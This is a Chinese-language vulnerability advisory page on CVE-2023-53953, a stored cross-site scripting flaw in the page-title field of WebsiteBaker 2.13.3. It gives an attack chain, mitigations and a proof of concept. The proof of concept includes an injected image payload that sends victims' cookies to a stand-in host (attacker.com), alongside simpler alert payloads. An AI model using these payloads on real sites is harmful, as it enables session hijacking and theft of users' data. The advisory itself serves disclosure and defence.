IPBUF安全漏洞报告
English
CVE-2023-53953 CVSS 5.4 中危

CVE-2023-53953 WebsiteBaker存储型XSS漏洞

披露日期: 2025-12-19

漏洞信息

漏洞编号
CVE-2023-53953
漏洞类型
存储型跨站脚本(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WebsiteBaker CMS

相关标签

存储型XSSWebsiteBakerCVE-2023-53953跨站脚本CMS漏洞认证用户漏洞会话劫持

漏洞概述

CVE-2023-53953是WebsiteBaker 2.13.3版本中的一个存储型跨站脚本(XSS)漏洞。该漏洞允许已认证的低权限用户在创建网页时注入恶意JavaScript脚本。攻击者通过在页面标题字段中植入恶意载荷,当其他用户访问或预览该页面时,恶意脚本会在受害者浏览器中执行,从而实现会话劫持、敏感信息窃取、钓鱼攻击等恶意行为。由于存储型XSS的恶意代码永久保存在服务器端,所有访问该页面的用户都会受到攻击影响,因此危害范围较反射型XSS更广。该漏洞需要用户交互才能触发,符合CVSS 3.1的UI:R要求。

技术细节

WebsiteBaker 2.13.3在处理用户提交的页面标题时缺少充分的输入验证和输出编码。当认证用户通过页面创建功能提交包含恶意JavaScript代码的页面标题时,系统直接将该内容存储到数据库而未进行安全过滤。在后续页面渲染过程中,恶意代码未经转义直接输出到HTML响应中,导致浏览器将其作为有效脚本执行。攻击者可以利用此漏洞构造如<img src=x onerror=alert(document.cookie)>等Payload,当管理员或其他用户访问受感染页面时,其Cookie、会话令牌等敏感信息可被攻击者窃取。由于攻击者仅需低权限账号即可利用此漏洞,且可通过社工方式诱导管理员访问恶意页面,因此该漏洞在实际攻击场景中具有较高的可行性。

攻击链分析

STEP 1
步骤1
攻击者获取WebsiteBaker低权限账户(如普通编辑用户)
STEP 2
步骤2
攻击者登录系统,访问页面创建功能
STEP 3
步骤3
在页面标题字段中注入恶意JavaScript载荷,如<img src=x onerror=alert(1)>
STEP 4
步骤4
系统将恶意载荷未经过滤直接存储到数据库
STEP 5
步骤5
其他用户(如管理员)访问包含恶意代码的页面
STEP 6
步骤6
浏览器执行恶意JavaScript,攻击者窃取Cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2023-53953 PoC - WebsiteBaker Stored XSS via Page Title // Target: WebsiteBaker 2.13.3 // Author: VulnCheck ([email protected]) // Step 1: Authenticate with low-privilege account const loginEndpoint = 'https://target-website.com/admin/login/index.php'; const credentials = { url: loginEndpoint, postData: { url: '/admin/start/index.php', username_fieldname: 'username', password_fieldname: 'password', username: 'attacker_account', password: 'attacker_password' } }; // Step 2: Create new page with malicious title const pageCreationEndpoint = 'https://target-website.com/admin/pages/add.php'; const maliciousPayload = '<img src=x onerror="fetch(\"https://attacker.com/steal?c=\"+document.cookie)\"> '; const pageData = { parent': 0, type: 'page', title: maliciousPayload, // XSS payload in title field modified_when: '', modified_by: '' }; // Step 3: Submit the malicious page // When any user views the page, the XSS payload executes // Attacker receives victim's cookies via the fetch request

影响范围

WebsiteBaker CMS 2.13.3及之前版本

防御指南

临时缓解措施
临时缓解措施:在Web应用防火墙(WAF)中配置XSS防护规则,拦截包含<script>、<img>、<svg>等标签的请求;限制低权限用户的页面创建功能;定期审查所有用户生成内容的显示区域是否正确进行HTML编码;监控异常请求模式以检测潜在的XSS利用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表